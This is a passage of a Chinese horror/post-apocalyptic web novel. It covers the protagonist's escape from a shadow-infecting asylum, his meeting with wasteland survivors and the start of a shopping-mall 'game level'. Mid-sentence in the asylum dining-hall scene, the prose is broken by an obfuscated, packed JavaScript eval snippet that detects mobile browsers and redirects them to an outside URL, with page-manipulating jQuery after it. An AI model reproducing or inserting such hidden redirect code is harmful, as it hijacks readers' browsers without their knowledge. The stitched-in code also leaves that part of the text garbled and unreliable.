这个认知并没有带来多少解脱,反而让寒意更深入骨髓。游戏?什么样的游戏,会把人扔进这种影子会自己蠕动、护士能扭转脖子一百八十度的地方?那所谓的“万元启动资金”和“百万大奖”,恐怕要用他的命,或者比命更可怕的东西来换。 他定了定神,将那些翻涌的、带着苦涩铁锈味的回忆强行压下。现在不是沉湎过去的时候。活下去,弄明白,逃出去——这是唯一的目标。 他沿着陌生的走廊,朝着人声和碗碟碰撞声传来的方向走去。脚下的影子沉默地跟随,但顾风能感觉到,不,是“看”到,那团黑影的边缘,在药效赋予的诡异视野里,确实比刚才又向外“晕”开了一点点,颜色也越发沉暗,那抹灰正向褐红滑落。同化,正在发生,无声无息,却坚定不移。 走廊越来越破败,墙皮大块脱落,露出后面黑黢黢的水泥,有些地方的日光灯彻底坏了,只留下一段段吞噬光线的黑暗。甜腻的腐烂气味在这里变得复杂,混合着食物馊败、人体汗臭和另一种……难以形容的、类似陈旧血污的腥气。 拐过一个弯,眼前豁然开朗。 一个巨大的、挑高的空间,像是旧厂房改造的饭厅。摆放着几十张长长的金属桌椅,大部分已经斑驳掉漆。惨白的日光灯管密集地排列在头顶,照得下面一片通明,甚至有些刺眼。 饭厅里坐着不少人,几乎都穿着蓝白条纹病号服。他们低头坐在桌前,姿态各异,有的佝偻着背,有的脖子以奇怪的角度歪斜,有的则挺得笔直,像木偶。没有人说话,只有金属勺偶尔刮过餐盘的刺耳声响,和一些人喉咙里发出的无意义的咕哝声。 空气凝滞,一种压抑的、非人的秩序统治着这里。 顾风站在入口处的阴影里,目光迅速扫视。 没有看到那个干瘦老头。 饭厅前方,靠近打饭窗口的地方,站着几个白色的身影。是护士。不止一个。她们同样穿着笔挺僵硬的护士服,戴着压低的护士帽,像一排没有生命的石膏像,面对着坐满病人的餐桌。她们没有在分发食物,食物似乎已经分配完毕。她们只是……站着,脸隐藏在帽檐的阴影下,仿佛在“监督”。 打饭窗口后面,影影绰绰,似乎有人影在忙碌,但看不真切。 顾风的视线,不由自主地落在了那些病人……以及他们脚下的影子上。 在如此明亮、几乎无死角的顶光照射下,每个人的影子都缩在脚下,一小团浓黑。 但用那种特殊的“视野”去看—— 顾风的呼吸微微一滞。 不是所有人的影子都“正常”。 大部分病人的影子,看起来就是普通的黑影,形状与本人坐姿大致吻合。但有那么几个……他们的影子,轮廓明显与身体不一致。一个胖子,影子却异常瘦长,像被拉长的鬼影;一个坐得笔直的男人,他的影子在肩颈处,有一块不规则的、蠕动般的凸起;还有一个女人,她的影子颜色格外深沉,边缘处甚至泛起了一丝和护士影子类似的、暗沉的褐红色。 而且,顾风注意到,那些影子异常的病人,他们吃饭的动作也格外僵硬、缓慢,甚至有些……不协调。好像控制身体的,并非完全是他们自己的意志。 他的目光又转向那些站立的护士。 在强光下,护士们的影子同样缩在脚下。但顾风凝聚精神去看时,那种“渗透”感比在昏暗走廊里看到的更加清晰。她们影子的边缘,像浸了水的墨迹,正以肉眼几乎无法察觉、但确实存在的速度,极其缓慢地向四周的地面“洇”开。影子的颜色,是统一的、不祥的暗褐红,如同干涸的血垢。 这整个饭厅,就像一个巨大的培养皿。而光和影,正在上演着某种无声的、可怕的嬗变。 他应该进去吗?混入其中? 就在这时,一个护士似乎察觉到了什么,帽檐下的阴影,极其缓慢地转向了入口的方向。 顾风心头一紧,立刻缩回身子,背紧紧贴在冰冷的墙壁上。不能被发现站在这里窥探。他需要融入。 他深吸一口气,尽量让自己看起来麻木、呆滞,模仿着那些病人的姿态,微微佝偻起背,低垂下头,然后迈步走进了饭厅。 明亮的灯光让他有些眩晕。他感觉到许多目光——或者说,是许多“注视感”——落在身上。来自护士?还是来自那些影子异常的“病人”? 他不敢抬头,凭着感觉,朝着一个看起来人少些的角落空位走去。桌椅冰凉。他坐下,面前是一个空的不锈钢餐盘。 旁边的病人对他的到来毫无反应,只是用勺子机械地刮着盘子里糊状的食物,送进嘴里,咀嚼,吞咽。那食物呈灰绿色,黏糊糊的一团,散发着一股混合了消毒水和廉价淀粉的气味。 没有食欲,只有反胃。 但他强迫自己拿起旁边放着的勺子,学着别人的样子,在空盘子里无意义地划动。眼睛的余光,却警惕地观察着四周。 那个干瘦老头……在哪里? 他的目光在人群中逡巡。一张张麻木或扭曲的脸,在强光下显得毫无生气。没有。 是还没来?还是…… 突然,饭厅前方传来一阵轻微的骚动。 不是声音的骚动,而是一种“氛围”的改变。仿佛所有的“注视感”都集中到了同一个方向。 顾风用最小的幅度,抬起眼皮看去。 只见一个护士推着那辆熟悉的浅绿色推车,从后厨方向走了出来。推车上没有药,而是放着一个很大的、盖着白布的不锈钢桶。 护士推车走到饭厅中央,停下。其他几个站立监督的护士,帽檐下的阴影,似乎也同时转向了那个桶。 推车的护士掀开了白布。 桶里是某种深色的、冒着微弱热气的液体,颜色浑浊暗红,表面漂浮着一些无法辨别的细小颗粒。一股难以形容的气味弥漫开来——比饭菜的馊味更浓烈,比腐烂的甜味更腥浊,里面似乎还夹杂着一丝……焦糊味? 这不是食物。 顾风的心沉了下去。 推车护士拿起一个长柄勺,开始从桶里舀出那种暗红色的液体,挨个走到那些影子明显异常的病人身边,将一勺液体倒入他们的餐盘,或者直接递到他们嘴边。 被喂食的病人,没有任何反抗,甚至没有多余的表情。他们张开嘴,或者任由液体倒入餐盘,然后机械地、顺从地将那些东西喝下或吃下(如果那能称为“吃”的话)。 喝下液体后,那些病人影子的异常,似乎……更加明显了。那个胖子瘦长的影子,颜色瞬间加深;肩膀有凸起影子的男人,脖子猛地抽搐了一下;影子边缘泛褐红的女人,则发出了一声极其轻微、仿佛舒气般的呻吟。 而那些影子看起来“正常”的病人,对这一切视若无睹,依旧麻木地吃着盘子里灰绿色的糊状物。 顾风感到一阵冰冷的恶心从胃里翻上来。那桶里的东西,是“饲料”?专门喂给那些“同化”程度更高的“样本”? 他的手下意识地握紧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081223|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰冷的金属勺柄。 必须离开这里。必须找到那个老头,或者别的什么线索。 他注意到,护士们似乎专注于分发那种暗红色液体,对普通病人的“监管”略有松懈。 机会。 他慢慢地、极其自然地放下勺子,身体微微后靠,目光快速扫向饭厅的几个出口。除了他进来的那个,对面似乎还有一扇门,标着“厨房”或“后勤通道”,还有侧后方,有一扇看起来更厚重、带着小窗的门,可能是通往其他区域的。 哪个? 忽然,他感觉到一道目光。 不是来自护士,也不是来自那些异常病人。 来自他斜对面,隔了两张桌子。 是那个干瘦老头。 他不知道老头是什么时候出现的,就像他一直坐在那里,只是顾风之前没注意到。老头低着头,面前餐盘里的食物也几乎没动。他没有看顾风,但顾风就是能感觉到,老头的注意力在他身上。 老头的嘴唇,再次几不可察地动了动。没有声音。 顾风死死盯着他的口型。 “后……厨……通……道……夜……” 后厨通道?夜? 老头的意思是,夜里从后厨通道离开? 没等顾风有更多反应,老头极其缓慢地、几乎是以帧为单位地,抬起了一根枯瘦的手指,指了指顾风,然后,指尖极其轻微地,向下点了点。 顾风顺着那微不可查的指示,垂下目光,看向自己脚下。 在饭厅明亮的顶光下,他的影子缩在椅子腿旁边。 但在顾风的“视野”中,他清晰地看到,自己影子的头部轮廓,那个之前就觉得有些“膨胀”的区域,此刻,颜色正以一种肉眼可见的速度,加深,变暗,边缘甚至开始泛起一丝……极其淡的、但确实存在的暗红色。 同化……加速了。是因为在这里?因为接近那些“饲料”?还是因为别的什么? 老头的手指,又极其缓慢地,移向他自己脚下。 顾风看过去。 老头的影子,在强光下,只是一团普通的、颜色稍浅的黑影。形状贴合,没有任何异常。 但老头的手指,在影子心脏的位置,轻轻点了点。 然后,他抬起头,浑浊的眼珠第一次真正地对上了顾风的视线。 那眼神里,没有麻木,没有疯狂,只有一种深不见底的疲惫,和一丝极其微弱的、几乎要熄灭的……清明。 口型再次变化: “小心……你的‘心’……” 心? 没等顾风理解,老头已经重新低下了头,变回那个毫无存在感的、木然的病人。 而这时,那个分发暗红液体的护士,似乎完成了她的工作,推着空桶,开始往回走。她的帽檐阴影,不经意地扫过顾风所在的区域。 顾风立刻低下头,死死盯着自己餐盘里根本不存在的食物,用勺子无意义地刮着盘子,发出轻微的刺耳声响。 他能感觉到,那道冰冷的“注视”在他身上停留了一瞬,然后移开了。 嗒…嗒…嗒…推车声渐渐远去,消失在疑似后厨通道的门后。 饭厅里的压抑气氛似乎缓和了一丝。但那种无处不在的、甜腻腐烂中混合了暗红液体腥浊的气味,却久久不散。 顾风坐在原地,掌心一片冰凉黏腻。 后厨通道。夜里。 还有……小心“心”。 他低头,再次看向自己脚下那团正在缓慢而坚定地改变颜色的影子,又摸了摸口袋里那个刻着“7”和诡异符号的卡片,以及那个标注着“样本‘影’”的玻璃瓶。 时间,不多了。 6. 血色厨房 顾风离开饭厅,心脏还在为刚才的窥探和老头那无声的警告狂跳不已。后厨通道,夜里。小心……“心”。 他沿着来路,尽量避开有光的地方,贴着墙根的阴影移动。脚下的影子如同跗骨之蛆,每一步都提醒着他正在发生的、无法逆转的变化。那种颜色加深、边缘晕染开的感觉越来越明显,甚至当他快速穿过一段光线较亮的区域时,他眼角的余光似乎瞥见,那团黑影的“头部”位置,极其短暂地、蠕动了一下。 不是错觉。 他回到那个破败的储藏室,从木板的破洞钻回狭窄的夹层,再费力地挪开遮挡,爬回自己的706房间。将桌子勉强推回原位,扫去明显痕迹。做完这一切,他已筋疲力尽,背靠着冰冷的铁门滑坐下来。 时间在寂静中粘稠地流淌。日光灯永恒地嗡鸣。他不敢睡,警惕着门外的任何动静,同时感受着自己身体内部那缓慢滋生的冰凉,以及脚下影子越来越清晰的“存在感”。它似乎不再是简单的光学现象,更像是一个寄生的、沉默的共生体,正一点点蚕食着他的边界。 小心“心”。老头指的是什么?心脏?还是……意识的核心? 他拿出那张磨损的卡片和小玻璃瓶,在昏暗的光线下反复查看。样本“影”,本体……如果影子是同化主体,那他的“心”,他的自我意识,是否就是抵抗同化的最后堡垒?一旦失守,他就会彻底变成……脚下这团东西? 这个想法让他不寒而栗。 终于,走廊外再次陷入那种深沉的、连推车声都消失的绝对寂静。午夜。 他活动了一下僵硬的身体,耳朵贴在门上仔细倾听。只有自己压抑的呼吸和心跳。 他轻轻推开虚掩的门——这一次,门把手没有自动锁死,仿佛在等待他的选择。 走廊一片漆黑,只有远处安全出口指示灯幽绿的光,像野兽的瞳孔。甜腻的腐烂气味在夜晚更加浓烈,几乎凝成实质,钻进鼻腔,黏在喉咙。 他赤脚踩在冰凉的地面上,悄无声息地朝着记忆中的方向——饭厅,以及它旁边的后厨通道——摸去。黑暗给了他某种程度上的掩护,但也放大了每一丝细微的声响和自己如雷的心跳。他能感觉到,脚下的影子在黑暗中几乎与地面融为一体,但那异样的“存在感”和缓慢的脉动,却比在光线下更加清晰。 饭厅巨大的双开门紧闭着,里面一片死寂。他绕到侧面,果然看到一扇较为狭窄的单开门,上面有模糊的标识,像是“厨房重地”或“后勤入口”。门是厚重的金属门,中间也有一个小观察窗,玻璃污浊。 他试着推了推,门纹丝不动。有锁。 但他注意到,门框边缘似乎有些磨损,门与框之间并非严丝合缝。他凑近观察窗,里面一片漆黑,什么也看不见。 怎么办?老头没告诉他怎么开锁。 他焦躁地四下张望。目光落在不远处墙角的消防栓箱上。箱子是旧的,玻璃面板布满灰尘。他走过去,试着撬动边缘。玻璃嵌得很紧。他回到706门口,从虚掩的门内捡起那块被他撬下来、边缘锋利的断裂桌腿碎片。 用金属碎片小心地插入消防栓箱玻璃的缝隙,用力一撬。 “咔嚓”一声轻响,在死寂中格外刺耳。 玻璃裂开一道缝。他心一横,用布包裹住手,猛地一击!玻璃碎裂,哗啦落下。他迅速伸手进去,摸到了冰冷沉重的消防斧。 握住斧柄的刹那,一股沉甸甸的、带着破坏意味的力量感传来。他没有犹豫,回到后厨通道门前,估算了一下门锁的大致位置,双手抡起消防斧,用尽全身力气,狠狠劈下! “咣——!!!” 巨大的撞击声撕裂了夜晚的寂静,在空旷的走廊里激起恐怖的回音。金属门火星四溅,锁舌部位明显凹陷变形。 他又连劈了两下! “咣!咣!” 门锁彻底崩坏。他扔掉消防斧,用肩膀猛地一撞! 门开了。 一股比走廊里浓烈十倍不止的混合气味扑面而来:浓重的油污、食物腐败的酸馊、还有那股无处不在的甜腻腐烂味,以及……一种新鲜的、温热血液般的腥气。 里面一片漆黑。他摸索着找到墙壁上的开关,“啪”一声按下。 惨白的灯光亮起,照亮了一个肮脏、杂乱、仿佛凝固在时间里的厨房。巨大的灶台锈迹斑斑,油污积了厚厚一层。案板上散落着一些无法辨认的、颜色可疑的食材残渣。水槽堵塞,泛着黑绿色的油光。地上到处是黏腻的污渍。 而在厨房的中央,靠近一个巨大不锈钢操作台的地方,景象让顾风瞬间僵住,胃里翻江倒海。 操作台和周围的地面上,溅满了大片大片的暗红色污迹,已经干涸发黑,但边缘还能看出喷溅的形状。一些碎骨、毛发和难以形容的软组织碎块,散落在污迹之中。空气里那股新鲜的腥气,就是从这里散发出来的。 这里不是做饭的地方。这里是……屠宰场。 顾风捂住嘴,强压下呕吐的欲望。他想起了饭厅里那桶暗红色的“饲料”。 就在这时,他听到厨房深处,通往更里面的另一扇门后,传来了一点极其轻微的窸窣声,像是有什么东西在拖动。 他浑身汗毛倒竖,立刻关掉了灯,将自己隐入门口附近的阴影里,屏住呼吸。 那扇门被从里面缓缓推开了。 一个穿着沾满污渍白色厨师服的身影,踉踉跄跄地走了出来。不,那不是“走”,更像是“拖行”。他的动作极其不协调,一只脚似乎使不上力,在地上摩擦着。 借着从门口透进来的、走廊尽头极其微弱的幽绿安全灯光,顾风看清了那人的脸——是白天在饭厅里,那个影子肩颈处有不规则凸起的男人!他此刻的眼神比白天更加空洞,嘴角挂着一丝亮晶晶的口水,脸上、手上都沾着暗红色的污渍。他手里还拖着一个沉重的、鼓囊囊的黑色塑料袋,袋子底部渗出不明的暗色液体,滴滴答答落在地上。 男人对近在咫尺、隐在阴影中的顾风毫无所觉,他拖拽着袋子,发出沙沙的摩擦声,朝着厨房另一侧一个更大的、似乎是冷藏库的铁门走去。他用一种怪异的、仿佛关节生锈的姿势,费力地拉开冷藏库沉重的门。 一股白森森的冷气混合着浓烈的血腥和腐臭涌出。 男人将黑色塑料袋扔了进去,然后自己也跟踉跄跄地走了进去,门在他身后缓缓合拢,发出沉闷的“砰”的一声。 冷藏库里隐约传来重物被拖动、摆放的声音,还有男人喉咙里发出的、满足般的嗬嗬声。 顾风手脚冰凉。他明白了。那些“饲料”的原料…… 这里不能久留。他迅速看向后厨通道的另一侧,那里果然还有一扇门,似乎是通往建筑后方的。他蹑手蹑脚地穿过血腥的厨房,避开地上的污秽,来到那扇门前。 门没有锁,只是一个简单的插销。他拉开插销,推开一条缝。 外面是浓得化不开的黑暗,以及……一股与精神病院内截然不同的、荒芜的、带着尘土和某种焦糊气息的空气。 他闪身出去,反手轻轻带上门。 没有立刻离开,他背靠着冰冷的建筑外墙,在绝对的黑暗中适应了一会儿。头顶没有星光,只有一种沉滞的、铅灰色的天幕低低地压着。空气中弥漫着灰尘和废墟的气味,远处似乎有隐约的、意义不明的窸窣声,但更清晰的是死寂。 这里……不是他认知中的“外面”。 没有城市的灯光,没有车辆的声音,没有熟悉的人间烟火气。只有无边无际的黑暗和荒凉。 他摸索着,沿着建筑外墙向前走。脚下是坑洼不平的地面,似乎是水泥碎块和泥土的混合。走了大约几十米,绕到了建筑的侧面,眼前的景象让他倒吸一口冷气。 借着极其微弱的天光,他看到精神病院的主楼轮廓庞大而狰狞地矗立在黑暗中,许多窗户黑洞洞的,像盲眼。而更远处,原本应该是街道、楼房的地方,只剩下一片片高低起伏的、模糊的黑色剪影,许多已经坍塌,只剩下残垣断壁。视线所及,没有任何完好的建筑,也没有任何灯光。 这是一片……废墟。死寂的、被遗弃的废墟。 末世? 这个念头像冰水一样浇遍全身。他从一个诡异的囚笼,逃进了一个更大、更绝望的坟墓? 就在这时,一阵极其轻微、但绝非自然的风声从他左侧袭来! 他本能地向旁边一扑! “嗖!”一道黑影擦着他的肩膀掠过,狠狠钉在他刚才倚靠的墙壁上,发出“夺”的一声闷响——是一支粗糙的、削尖了的金属管箭矢! “反应不错。”一个沙哑的男声从阴影中传来。 顾风就地一滚,半蹲起身,警惕地看向声音来处。几个人影从断墙和瓦砾堆后面缓缓走了出来。大约五六个,有男有女,穿着破烂但相对结实的衣服,脸上身上都脏兮兮的,带着风霜和警惕的痕迹。他们手里拿着各式各样简陋的武器:磨尖的铁棍,绑着刀片的木棒,还有一把看起来锈迹斑斑但弓弦绷紧的弩。 为首的是一个身材高瘦、眼神锐利如鹰隼的男人 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回答他的是那个女人,她指了指周围无边无际的黑暗废墟:“如你所见,早就烂透了。‘大崩溃’之后,就剩下这些了。活下来的,要么在里面慢慢变成‘饲料’或者别的什么,要么逃出来,在这里挣扎。” 大崩溃?顾风毫无头绪。他的记忆只到被绑架前。 “不是所有从‘摇篮’逃出来的,都能算是‘人’。”高瘦男人冷冷道,“有的出来时,里面已经换得差不多了。我们需要确认一下你。” “怎么确认?” “名字。”高瘦男人盯着他,“每个还能保持‘自我’的幸存者,都必须有自己的名字。不是编号,不是代号,是名字。还记得吗?” 顾风沉默了一下。顾风。这个名字随着那些痛苦的记忆一起回来了。 “顾风。”他说。 高瘦男人点了点头,目光中的锐利似乎缓和了一丝。“能说出名字,至少证明‘心’还没丢光。”他指了指自己,“我叫雷烬。”又指了指那个女人,“她叫林岚。” 其他几人也陆续报出名字:阿木,一个沉默寡言的壮汉;小豆,一个看起来年纪不大、眼神却异常沉静的男孩;还有一个叫老陈,头发花白,神色沧桑。 “欢迎来到真实世界,顾风。”雷烬扯了扯嘴角,却没什么笑意,“一个比‘摇篮’更残酷,但至少……选择权多一点点的世界。在这里,唯一的任务,就是活下去。用你还能称之为‘自己’的那部分,活下去。” 林岚补充道:“而你身上的‘问题’,”她意有所指地看了一眼顾风脚下——即使在黑暗中,顾风也能感觉到自己影子那不正常的“存在感”——“在这里,既是危险,也可能……成为一种工具。前提是,你能控制它,而不是被它控制。” 顾风看着眼前这群在废墟中挣扎求生的“同类”,又回头望了一眼那栋黑暗中宛如巨兽蛰伏的精神病院大楼。 摇篮……饲料……筛选……幸存者……末世…… 一连串的词汇和眼前的景象冲击着他。从绝望的债务深渊,到诡异的灵异病院,再到这片更加广阔无垠的死亡废墟。他的逃亡,似乎只是从一个更小的牢笼,跳进了一个更大的、名为“末世”的角斗场。 而他的武器,除了手中空空,只剩下这具开始被影子侵蚀的身体,和一个尚未完全丢失的“名字”。 “接下来……去哪?”他问,声音在荒芜的夜风中飘散。 雷烬抬头看了看铅灰色的、仿佛永远不会有天亮的天幕,又警惕地扫视着周围的黑暗废墟。 “先离开这里。‘摇篮’附近的区域不安全,夜里尤其危险。不管是里面的‘东西’出来,还是外面游荡的‘觅食者’,都不是你现在能对付的。”他转身,对着其他人打了个手势,“回临时据点。抓紧时间。” 一行人迅速而无声地动了起来,显然对这样的行动早已习惯。他们默契地分散开一点,又保持着互相照应的距离,踏入废墟的阴影之中。 顾风回头,最后看了一眼那栋吞噬了无数“样本”的病院。然后,他迈开脚步,跟上了这群陌生的“幸存者”,融入了无边无际的黑暗与废墟。 脚下的影子,如影随形,在破碎的地面上拖出一道沉默而诡异的轨迹。前方是未知的生存之战,后方是已然异变的过去。而名为“顾风”的自我,在这末世的夹缝中,开始了它摇摇欲坠、却又不得不继续的跋涉。 7. 幸存者之名 临时据点藏在一栋半坍塌的商业楼地下室里,入口隐蔽,用扭曲的钢筋和破碎的混凝土板巧妙遮挡。里面空间不大,弥漫着尘土、汗水和一种类似草药燃烧后的苦涩气味。几盏用废弃电池和简易线路连接的小灯提供着昏暗的光源。 顾风跟着雷烬等人钻进来,立刻感受到一种与外界的死寂荒芜截然不同的、紧绷的生存气息。角落里堆着一些搜集来的物资:罐头、瓶装水(大多空了一半)、破旧的衣物、工具,还有一些用塑料袋小心包起来的、颜色各异的珠子,大小不一,散发着极其微弱的、不同颜色的荧光。 那就是灵珠。 “坐。”雷烬指了指地上铺着的旧毯子,自己先靠着一截断裂的水泥柱坐下,拿出一个瘪了一半的水壶,喝了一小口,然后递给顾风。 顾风接过,水有股铁锈味,但他还是喝了一口,干得冒烟的喉咙得到些许缓解。 “这里相对安全,但也不能久待。‘摇篮’附近的区域,就像磁石,会吸引不好的东西,不管是里面的,还是外面的。”雷烬开始解释,声音在狭小的空间里显得低沉,“我们得尽快补充灵珠,然后转移。” “灵珠……到底是什么?”顾风问出了从看到它们第一眼就有的疑问。那些珠子在昏暗光线下流转的微光,带着一种非自然的诱惑力。 “硬通货。活命的筹码。”林岚接口,她正在检查一把匕首的刃口,“食物、净水、药品、武器、情报……甚至是一些特殊的‘服务’或‘知识’,都可以用灵珠交换。在这个鬼地方,钱是废纸,黄金是累赘,只有灵珠,蕴含着……能量。” “能量?” “对。”雷烬接过话头,眼神变得锐利,“这能量,可以维持你作为‘人’的消耗,延缓‘异变’,甚至……激发一些特别的能力。尤其是对我们这些从‘摇篮’里出来、身上带着‘问题’的人来说,灵珠某种程度上,是抑制器,也是燃料。” 顾风下意识地摸了摸自己的胸口,那里,影子带来的冰凉感和细微脉动似乎一直没有停止。“异变”……是指像他影子那样的变化吗? “怎么获得灵珠?”他问。 “挑战。”雷烬吐出两个字,语气沉重,“用命去博。” 他详细解释起来。这个世界,或者说“大崩溃”后的世界,存在着许多被称为“游戏关卡”的诡异区域。它们可能是一栋建筑,一片街区,甚至是一个扭曲的空间片段。每一个关卡,都由一个“守关者”把持。守关者并非关卡的设计者,而是“看守”。 “守关者,统称为‘魔修’。”雷烬的声音带着一丝不易察觉的寒意,“据说,最高有十二位统治级的魔修,但那是传说,没人见过。我们所能接触到的,是他们的下属,按照实力和地位,分为‘天级’、‘地级’、‘人级’三级。每一级,又细分为十二种不同的类型或职阶。” “而我们能挑战的关卡,也对应着守关者的等级,分为甲、乙、丙、丁四个难度。丁级最低,通常由最低等的‘人级’魔修看守。丙级对应稍强的人级或较弱的地级,乙级对应较强的地级,甲级……据说对应天级,那几乎是必死的任务,至少我们没听说过谁能从甲级关卡活着回来。” “挑战规则很简单:进入关卡,完成关卡设定的‘游戏’或‘挑战’。成功,守关的魔修会死,挑战者获得对应的灵珠。失败,挑战者死在关卡里。”雷烬看着顾风,“一命换一命,或者一命换一珠。这就是这个世界的铁律。” 顾风听得心头冰凉。精神病院是“摇篮”,是筛选和异变的地方;而外面的世界,则是用这种残酷的“游戏”来榨取幸存者最后的价值,或者生命。 “为什么……会有这种东西?”他喃喃道。 没人能回答。老陈,那个神色沧桑的花白头发男人,低声说:“谁知道呢。‘大崩溃’后,很多东西都变了,规则也变了。也许这些关卡和魔修,本身就是新规则的一部分。我们只能适应,或者死。” “我们接下来,要去挑战一个丁级关卡。”雷烬直接切入正题,“据点里的灵珠储备不多了,尤其是净水和抑制异变的‘清心珠’缺口很大。必须补充。顾风,你刚出来,需要尽快了解这个世界的生存方式。这次丁级挑战,你可以旁观,或者……参与。但我要提醒你,哪怕是最低的丁级,死亡率也超过三成。而且,一旦进入关卡,很多时候旁观者也未必安全。” 顾风沉默。他需要灵珠吗?雷烬说过,灵珠能延缓异变。他低头,看向自己脚下。即使在据点昏暗的光线下,他也能感觉到影子的颜色又深了一分,那抹暗红更加明显。他没有选择。 “我参与。”他说,声音不大,但很清晰。 雷烬看了他几秒,点了点头:“好。记住,在关卡里,信任你的队友,但更要相信你自己的判断。任何规则都可能隐藏杀机。” 林岚补充道:“丁级关卡的守关者,通常是人级魔修中较弱的存在,但它们掌控的‘游戏’规则,依然诡异危险。很多时候,力量不是最主要的,洞察力和应对方式才是关键。” 他们开始做准备工作。雷烬分发武器:给顾风的是一把用钢管打磨尖头的简陋长矛,还有一把生锈但还算锋利的短刀。其他人也各自检查自己的装备。林岚拿出一个小布包,里面是几颗颜色暗淡、只有米粒大小的淡蓝色灵珠。 “这是最低等的‘蓄能珠’,能在短时间内稍微补充一点体力,缓解疲劳。每人含一颗在舌下,关键时刻或许能救你一命。”她分发给每人一颗。顾风接过,触手微凉,有种奇异的滑腻感,放入舌下,一股淡淡的、类似薄荷的清凉感散开,让他精神微微一振。 “目标地点离这里大约两公里,是一个废弃的小型购物中心。根据之前的情报和远处观察,那里形成了一个稳定的丁级关卡,守关者疑似人级‘惑心魔’的一种,擅长制造幻象和心灵干扰。关卡的具体形式不明,但‘购物中心’这个环境,可能意味着规则与‘选择’、‘交易’或‘寻找’有关。”雷烬在地上用碎石简单画了个示意图,“我们从前门主入口进入,那里通常是关卡规则开始生效的边界。进入后,保持警惕,注意环境细节和任何不协调的地方。不要单独行动,但也不要挤在一起,防止被一网打尽。” “记住,我们的首要目标是完成挑战,获取灵珠。如果事不可为,保命为上,尽量撤退。但在关卡内,撤退并不总是可行。”雷烬的目光扫过每一个人,“都明白了吗?” 众人点头,气氛凝重。 夜色依旧浓稠,但天空的铅灰色似乎褪去了一点,变成一种更深沉的墨蓝,依旧没有星光。一行人离开临时据点,在雷烬的带领下,如同幽灵般在废墟间穿行。顾风紧跟在后,努力记忆着路线和周围地标的特征。脚下的影子在破碎的地面上拖曳,时而拉长,时而缩短,那异样的存在感如同第二颗心脏,在寂静中微弱地搏动。 两公里的路程,在警惕和潜行中显得格外漫长。他们避开开阔地带,利用断墙、瓦砾堆和废弃车辆的残骸作为掩护。途中,顾风看到了一些令人不安的痕迹:大片干涸发黑的血迹、散落的骸骨(有些明显不属于人类)、还有某些建筑表面留下的巨大抓痕或腐蚀痕迹。 这个世界,无处不危险。 终于,前方出现了一栋相对完整的建筑轮廓。那是一个三层楼的小型购物中心,外墙的瓷砖大片脱落,露出里面的水泥,玻璃幕墙几乎全部破碎,黑洞洞的窗口像无数张开的嘴。楼顶巨大的招牌只剩下锈蚀的骨架,依稀能辨出“鑫旺百货”的字样。整栋建筑被一种若有若无的、淡灰色的雾气笼罩着,与周围的环境泾渭分明。 “就是这里。”雷烬停下脚步,隐藏在一条坍塌的围墙后面,示意众人观察。“雾气边界内,就是关卡范围。注意看地面。” 顾风凝神看去。购物中心前的小广场上,散落着一些杂物和垃圾。但在雾气边缘的地面上,隐约可以看到一些暗红色的、如同符文般的线条,断断续续,没入雾气之中。 “关卡标记。”林岚低声道,“一旦踏入,挑战即开始。守关的魔修会感知到,并激活‘游戏’。” 雷烬再次检查了所有人的装备和状态,目光最后落在顾风脸上:“第一次,跟紧我或者林岚。多看,多听,少说。你的‘影子’问题,在关卡内可能会被放大,也可能会被规则压制,自己注意。” 顾风深吸一口气,点了点头。舌下的蓄能珠散发着的清凉感,勉强压住心头的悸动。 “走。” 雷烬率先起身,如同猎豹般敏捷而无声地掠出废墟掩护,几个起落就接近了雾气边缘。其他人紧随其后。顾风握紧手中的简陋长矛,跟在林岚侧后方。 踏入雾气的瞬间,顾风感到周遭的空气仿佛凝固了一瞬。一种轻微的、类似穿过一层冰凉水膜的触感掠过皮肤。紧接着,眼前的景象发生了变化。 购物中心内部的光线并非一片漆黑。一些破损的应急灯和尚未完全失效的商场内部照明,散发着惨白或昏黄的光,勉强照亮了部分区域。但光线扭曲,阴影浓重,空气中漂浮着细小的尘埃,在光柱下缓慢旋转。那股甜腻的腐烂气味在这里变得很淡,取而代之的是一种陈旧的商品气息混合着尘埃和霉味,还有一丝……若有若无的、廉价香薰的味道。 他们站在一楼中庭的位置,脚下是脏污开裂的大理石地砖。周围是破损的柜台、倾倒的货架、散落一地的商品包装。扶梯静止不动,电梯门敞开着,里面黑洞洞的。 一切似乎只是普通的废墟。 但顾风立刻感觉到了不同。太安静了。连他们自己的呼吸和脚步声,都仿佛被这空间吸收了一部分,显得沉闷而遥远。而且,他的影子……在踏入这里的瞬间,那一直存在的异样“存在感”和脉动,似乎减弱了,变得近乎“正常”,就像被某种力量暂时压制或屏蔽了。 “欢迎光临……鑫旺百货。” 一个声音突兀地响起,并非来自某个方向,而是直接在所有人的脑海中回荡。那声音非男非女,带着一种空洞的回响和刻意模仿出来的热情,显得格外诡异。 “本商场正在进行……清仓大酬宾活动。只要完成购物任务,即可获得丰厚奖励哦~” 声音落下,前方的空气中,缓缓浮现出几行半透明的、发着微光的文字: 【丁级关卡:迷失购物车】 【守关者:人级·惑心魔(贪餍变种)】 【挑战规则:】 【1.每位挑战者需获得一辆购物车。】 【2.在商场内寻找三件“商品”,放入购物车。】 【3.将满载的购物车推至任意收银台完成“结算”。】 【4.结算时,需支付对应“价格”。】 【5.完成结算者,视为挑战成功。】 【注意:商品需满足“您的渴望”,价格需令您“真心感到痛惜”。虚假或不符合要求的商品与支付,将导致惩罚。】 【祝您购物愉快~】 文字闪烁了几下,消散在空气中。 与此同时,他们身边不远处的空地上,凭空出现了几辆锈迹斑斑、但勉强能推动的金属购物车。不多不少,正好六辆,对应他们的人数。 “贪餍变种……”林岚眉头紧锁,“麻烦了。这种惑心魔擅长的不是直接攻击,而是挖掘和放大内心的欲望与执念,并将其扭曲。‘商品’要满足‘渴望’,‘价格’要‘真心痛惜’……这规则本身就是一个巨大的陷阱。” 雷烬走到一辆购物车前,检查了一下。购物车就是普通的商场购物车,锈蚀严重,轮子有些卡顿,但还能推动。车里空空如也。 